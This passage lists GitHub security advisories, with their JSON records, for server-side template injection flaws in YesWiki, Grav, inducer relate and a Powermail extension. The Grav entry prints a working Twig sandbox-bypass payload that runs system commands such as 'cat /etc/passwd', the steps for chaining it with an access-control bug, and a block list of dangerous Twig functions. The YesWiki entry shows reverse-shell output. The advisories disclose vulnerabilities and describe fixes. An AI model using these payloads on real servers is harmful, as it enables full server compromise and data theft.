      "url": "https://github.com/jugmac00/flask-reuploaded/pull/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/d64c6b2f71cb73734fc38baa0e3e156926361288"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded vulnerable to Remote Code Execution via Server-Side Template Injection"
}

GHSA-65P8-9433-JPCP

Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54

Summary

YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates

Details

Summary

YesWiki Bazar contains a stored Server-Side Template Injection (SSTI) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (RCE). An authenticated administrator can place arbitrary Twig expressions into the Semantic template (Twig) field (bn_sem_template), and that content is later executed server-side when public semantic endpoints are requested.

This was first confirmed through a harmless proof payload where {{ 7 * 7 }} was rendered as 49 through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.

Because the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.

Details

The vulnerable behavior is in the Bazar semantic rendering flow.

The administrator-editable fields:

bn_sem_template
bn_sem_reverse_template

allow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through TemplateEngine::renderFromStringNoEscape(), which passes the user-controlled string into Twig for execution.

Relevant sink:

$json = $this->templateEngine->renderFromStringNoEscape($form['bn_sem_template'], $data);

The rendering helper evaluates the supplied string as a live Twig template:

public function renderFromStringNoEscape(string $templateString, array $data = []): string
{
    $wrapped = '{% autoescape false %}' . $templateString . '{% endautoescape %}';
    return $this->twig->createTemplate($wrapped)->render($data);
}

This is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.

The public trigger path used during validation was:

GET /api/forms/2/entries/json-ld

The attack chain is:

An administrator stores malicious Twig code in the semantic template field.
YesWiki saves that payload in the form configuration.
A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.
Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.

PoC

The following steps reproduce the issue on the locally validated YesWiki instance.

Stage 1: Confirm Server-Side Template Execution

Log in to YesWiki as an administrator.
Open Bazar form management.
Edit form ID 2 (Agenda in the validated instance).
Locate the field labeled Semantic template (Twig).
Replace its content with the following harmless payload:

{"proof":"{{ 7 * 7 }}"}

Save the form.
Trigger the public semantic endpoint:

curl -s 'https://target.example/?api/forms/2/entries/json-ld'

Observe that the server returns evaluated Twig output instead of the literal string {{ 7 * 7 }}.

Confirmed response:

{"@context":null,"@id":"https:\/\/target.example\/?api\/fiche\/2","@type":["ldp:Container","ldp:BasicContainer"],"dcterms:title":"Agenda","ldp:contains":[{"proof":"49","id":"https:\/\/target.example\/?TesT2"},{"proof":"49","id":"https:\/\/target.example\/?Bordeaux"}]}

Key execution proof:

"proof":"49"

Stage 2: Confirm Remote Code Execution

After confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.

Observed local evidence included:

an inbound connection to the attacker's listener
an interactive shell prompt on the YesWiki host
successful command execution from the shell inside the YesWiki project directory

Observed shell output:

Connection received on 172.31.60.19 60308
khizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls
INSTALL.md
LICENSE
Makefile
README.md
SECURITY.md
actions
cache
codex-admin-login.php
composer.json
composer.lock
custom
docker
docs
files
formatters
handlers
includes
index.php
interwiki.conf
javascripts
lang
package.json
private
robots.txt
setup
styles
templates
tests
themes
tools
vendor
wakka.config.php
wakka.php
yeswicli

This confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.

Impact

An authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.

In the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:

execute arbitrary Twig expressions on the server
store a persistent payload in form configuration
have that payload triggered later by unauthenticated requests to public semantic endpoints
execute operating-system commands on the host
gain interactive shell access to the underlying server
pivot from application-level administration to full server compromise

This breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:54:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nYesWiki Bazar contains a stored Server-Side Template Injection (`SSTI`) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (`RCE`). An authenticated administrator can place arbitrary Twig expressions into the `Semantic template (Twig)` field (`bn_sem_template`), and that content is later executed server-side when public semantic endpoints are requested.\n\nThis was first confirmed through a harmless proof payload where `{{ 7 * 7 }}` was rendered as `49` through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.\n\nBecause the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.\n\n### Details\nThe vulnerable behavior is in the Bazar semantic rendering flow.\n\nThe administrator-editable fields:\n\n- `bn_sem_template`\n- `bn_sem_reverse_template`\n\nallow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through `TemplateEngine::renderFromStringNoEscape()`, which passes the user-controlled string into Twig for execution.\n\nRelevant sink:\n\n```php\n$json = $this-\u003etemplateEngine-\u003erenderFromStringNoEscape($form[\u0027bn_sem_template\u0027], $data);\n```\n\nThe rendering helper evaluates the supplied string as a live Twig template:\n\n```php\npublic function renderFromStringNoEscape(string $templateString, array $data = []): string\n{\n    $wrapped = \u0027{% autoescape false %}\u0027 . $templateString . \u0027{% endautoescape %}\u0027;\n    return $this-\u003etwig-\u003ecreateTemplate($wrapped)-\u003erender($data);\n}\n```\n\nThis is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.\n\nThe public trigger path used during validation was:\n\n```text\nGET /api/forms/2/entries/json-ld\n```\n\nThe attack chain is:\n\n1. An administrator stores malicious Twig code in the semantic template field.\n2. YesWiki saves that payload in the form configuration.\n3. A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.\n4. Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.\n\n### PoC\nThe following steps reproduce the issue on the locally validated YesWiki instance.\n\n### Stage 1: Confirm Server-Side Template Execution\n\n1. Log in to YesWiki as an administrator.\n2. Open Bazar form management.\n3. Edit form ID `2` (`Agenda` in the validated instance).\n4. Locate the field labeled `Semantic template (Twig)`.\n5. Replace its content with the following harmless payload:\n\n```json\n{\"proof\":\"{{ 7 * 7 }}\"}\n```\n\n6. Save the form.\n7. Trigger the public semantic endpoint:\n\n```bash\ncurl -s \u0027https://target.example/?api/forms/2/entries/json-ld\u0027\n```\n\n8. Observe that the server returns evaluated Twig output instead of the literal string `{{ 7 * 7 }}`.\n\nConfirmed response:\n\n```json\n{\"@context\":null,\"@id\":\"https:\\/\\/target.example\\/?api\\/fiche\\/2\",\"@type\":[\"ldp:Container\",\"ldp:BasicContainer\"],\"dcterms:title\":\"Agenda\",\"ldp:contains\":[{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?TesT2\"},{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?Bordeaux\"}]}\n```\n\nKey execution proof:\n\n```json\n\"proof\":\"49\"\n```\n\n### Stage 2: Confirm Remote Code Execution\n\nAfter confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.\n\nObserved local evidence included:\n\n- an inbound connection to the attacker\u0027s listener\n- an interactive shell prompt on the YesWiki host\n- successful command execution from the shell inside the YesWiki project directory\n\nObserved shell output:\n\n```text\nConnection received on 172.31.60.19 60308\nkhizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls\nINSTALL.md\nLICENSE\nMakefile\nREADME.md\nSECURITY.md\nactions\ncache\ncodex-admin-login.php\ncomposer.json\ncomposer.lock\ncustom\ndocker\ndocs\nfiles\nformatters\nhandlers\nincludes\nindex.php\ninterwiki.conf\njavascripts\nlang\npackage.json\nprivate\nrobots.txt\nsetup\nstyles\ntemplates\ntests\nthemes\ntools\nvendor\nwakka.config.php\nwakka.php\nyeswicli\n```\n\nThis confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.\n\n### Impact\nAn authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.\n\nIn the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:\n\n- execute arbitrary Twig expressions on the server\n- store a persistent payload in form configuration\n- have that payload triggered later by unauthenticated requests to public semantic endpoints\n- execute operating-system commands on the host\n- gain interactive shell access to the underlying server\n- pivot from application-level administration to full server compromise\n\nThis breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.",
  "id": "GHSA-65p8-9433-jpcp",
  "modified": "2026-07-09T20:54:23Z",
  "published": "2026-07-09T20:54:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-65p8-9433-jpcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/89462f1577a8a1fe7fcff75e77b5058a74d8047b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates"
}

GHSA-662M-56V4-3R8F

Vulnerability from github – Published: 2025-12-02 01:25 – Updated: 2025-12-02 01:25

Summary

Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass

Details

Summary

A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.

Important

First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.

Permissions Needed

The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.
Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluate_twig, a guest can takeover the system.

Details

When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:

            case 'message':
                $translated_string = $this->grav['language']->translate($params);
                $vars = array(
                    'form' => $form
                );

                /** @var Twig $twig */
                $twig = $this->grav['twig'];
                $processed_string = $twig->processString($translated_string, $vars);

                $form->message = $processed_string;
                break;

Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:

First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization
Second issue which is the evaluate and evaluate_twig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.

    public static function cleanDangerousTwig(string $string): string
    {
        if ($string === '') {
            return $string;
        }

        $bad_twig = [
            'twig_array_map',
            'twig_array_filter',
            'call_user_func',
            'registerUndefinedFunctionCallback',
            'undefined_functions',
            'twig.getFunction',
            'core.setEscaper',
            'twig.safe_functions',
            'read_file',
        ];

        // This allows for a payload like {{ evaluate("read_file('/etc/passwd')") }}
        $string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
        return $string;
    }

PoC

First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:

<?php

function cleanDangerousTwig(string $string): string
{
    if ($string === '') {
        return $string;
    }

    $bad_twig = [
        'twig_array_map',
        'twig_array_filter',
        'call_user_func',
        'registerUndefinedFunctionCallback',
        'undefined_functions',
        'twig.getFunction',
        'core.setEscaper',
        'twig.safe_functions',
        'read_file',
    ];
    $string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);

    return $string;
}

$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");

We can run the program with this payload:

php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"

Our payload goes through and not one malicious function is filtered:

evaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')

Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:

Go to pages
Add a page and create a new form or choose an exiting one

We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[_json][header][form] which is the header for our form which we shouldn't normally be able to modify:

{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}

URL-encode it before sending it should look something like this:

Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:

Content of form:

title: Home
process:
    markdown: true
    twig: true
form:
    name: test
    fields:
        name:
            type: text
            label: Name
            required: true
    buttons:
        submit:
            type: submit
            value: submit
    process:
        -
            message: '{{ evaluate_twig(form.value(''name'')) }}'

Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}

Now we can visit the page and input our payload, submit and we got command result:

Impact

Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.

Recommended Fix

Blacklist both the evaluate and evaluate_twig functions.
We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:

<?php

function cleanDangerousTwig(string $string): string
{
    if ($string === '') {
        return $string;
    }

    $bad_twig = [
        'twig_array_map',
        'twig_array_filter',
        'call_user_func',
        'registerUndefinedFunctionCallback',
        'undefined_functions',
        'twig.getFunction',
        'core.setEscaper',
        'twig.safe_functions',
        'read_file',
    ];
    $string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);

    foreach ($bad_twig as $func) {
        $string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
    }

    return $string;
}

$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");

When we run this, the result is:

evaluate_twig('{# {{ grav.twig.twig.{#  #}('system') }} #} {# {% set a = grav.config.set('system.twig.{#  #}',false) %} #} {# {{ grav.twig.{#  #}('cat /etc/passwd') }} #}')

You can see we managed to stop the payload and filter out the malicious functions.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-beta.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T01:25:16Z",
    "nvd_published_at": "2025-12-01T21:15:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig-\u003eprocessString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n            case \u0027message\u0027:\n                $translated_string = $this-\u003egrav[\u0027language\u0027]-\u003etranslate($params);\n                $vars = array(\n                    \u0027form\u0027 =\u003e $form\n                );\n\n                /** @var Twig $twig */\n                $twig = $this-\u003egrav[\u0027twig\u0027];\n                $processed_string = $twig-\u003eprocessString($translated_string, $vars);\n\n                $form-\u003emessage = $processed_string;\n                break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here\u0027s where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn\u0027t account for nested function calls, which allows us to bypass this function\u0027s sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n    public static function cleanDangerousTwig(string $string): string\n    {\n        if ($string === \u0027\u0027) {\n            return $string;\n        }\n\n        $bad_twig = [\n            \u0027twig_array_map\u0027,\n            \u0027twig_array_filter\u0027,\n            \u0027call_user_func\u0027,\n            \u0027registerUndefinedFunctionCallback\u0027,\n            \u0027undefined_functions\u0027,\n            \u0027twig.getFunction\u0027,\n            \u0027core.setEscaper\u0027,\n            \u0027twig.safe_functions\u0027,\n            \u0027read_file\u0027,\n        ];\n         \n        // This allows for a payload like {{ evaluate(\"read_file(\u0027/etc/passwd\u0027)\") }}\n        $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n        return $string;\n    }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n    if ($string === \u0027\u0027) {\n        return $string;\n    }\n\n    $bad_twig = [\n        \u0027twig_array_map\u0027,\n        \u0027twig_array_filter\u0027,\n        \u0027call_user_func\u0027,\n        \u0027registerUndefinedFunctionCallback\u0027,\n        \u0027undefined_functions\u0027,\n        \u0027twig.getFunction\u0027,\n        \u0027core.setEscaper\u0027,\n        \u0027twig.safe_functions\u0027,\n        \u0027read_file\u0027,\n    ];\n    $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n    return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} #} {# {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\n\nNow we know that our payload definitely works so let\u0027s try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form\u0027s action sections without being in expert mode ( please refer to [it\u0027s report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn\u0027t normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n![image](https://github.com/user-attachments/assets/c3345f1f-c613-4534-a15c-bd1cf7e4b2f5)\n\n![image](https://github.com/user-attachments/assets/e9685357-b85d-432a-842b-27a28487b7d1)\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n![image](https://github.com/user-attachments/assets/c87bdc3b-712c-465f-bd0d-9951ca826a6a)\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n    markdown: true\n    twig: true\nform:\n    name: test\n    fields:\n        name:\n            type: text\n            label: Name\n            required: true\n    buttons:\n        submit:\n            type: submit\n            value: submit\n    process:\n        -\n            message: \u0027{{ evaluate_twig(form.value(\u0027\u0027name\u0027\u0027)) }}\u0027\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027id\u0027) }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n![image](https://github.com/user-attachments/assets/46571c3c-53ad-4028-b607-8c8f1c26b0c2)\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it\u0027s position:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n    if ($string === \u0027\u0027) {\n        return $string;\n    }\n\n    $bad_twig = [\n        \u0027twig_array_map\u0027,\n        \u0027twig_array_filter\u0027,\n        \u0027call_user_func\u0027,\n        \u0027registerUndefinedFunctionCallback\u0027,\n        \u0027undefined_functions\u0027,\n        \u0027twig.getFunction\u0027,\n        \u0027core.setEscaper\u0027,\n        \u0027twig.safe_functions\u0027,\n        \u0027read_file\u0027,\n    ];\n    $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n    foreach ($bad_twig as $func) {\n        $string = preg_replace(\u0027/\\b\u0027 . preg_quote($func, \u0027/\u0027) . \u0027(\\s*\\([^)]*\\))?\\b/i\u0027, \u0027{# $1 #}\u0027, $string);\n    }\n\n    return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.{#  #}(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.{#  #}\u0027,false) %} #} {# {{ grav.twig.{#  #}(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
  "id": "GHSA-662m-56v4-3r8f",
  "modified": "2025-12-02T01:25:16Z",
  "published": "2025-12-02T01:25:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass"
}

GHSA-66C8-9R5R-35HF

Vulnerability from github – Published: 2024-04-22 21:31 – Updated: 2024-07-03 18:36

Details

An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-32407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-22T19:15:46Z",
    "severity": "HIGH"
  },
  "details": "An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.",
  "id": "GHSA-66c8-9r5r-35hf",
  "modified": "2024-07-03T18:36:31Z",
  "published": "2024-04-22T21:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32407"
    },
    {
      "type": "WEB",
      "url": "https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection"
    },
    {
      "type": "WEB",
      "url": "https://cxsecurity.com/issue/WLB-2024040049"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6956-F2GQ-2C74

Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30

Details

The extension passes the raw value of a form field configured as "This field contains the name of the sender" directly into a Fluid View as template source, without any sanitization, and renders it. An anonymous, unauthenticated user can submit Fluid template syntax in that field to execute arbitrary Fluid ViewHelpers leading to disclosure of server configuration, environment variables and application source, and potentially remote code execution. Exploitation requires only that a form field is configured as the sender_name field, a common and default-adjacent Powermail configuration. No authentication or user interaction beyond a normal form submission is required. This vulnerability is reported to be actively exploited in the wild.

Severity

9.5 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-77136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T09:17:34Z",
    "severity": "CRITICAL"
  },
  "details": "The extension passes the raw value of a form field configured as \"This field contains the name of the sender\" directly into a Fluid View as template source, without any sanitization, and renders it. An anonymous, unauthenticated user can submit Fluid template syntax in that field to execute arbitrary Fluid ViewHelpers leading to disclosure of server configuration, environment variables and application source, and potentially remote code execution. Exploitation requires only that a form field is configured as the sender_name field, a common and default-adjacent Powermail configuration. No authentication or user interaction beyond a normal form submission is required. This vulnerability is reported to be actively exploited in the wild.",
  "id": "GHSA-6956-f2gq-2c74",
  "modified": "2026-08-25T09:30:39Z",
  "published": "2026-08-25T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77136"
    },
    {
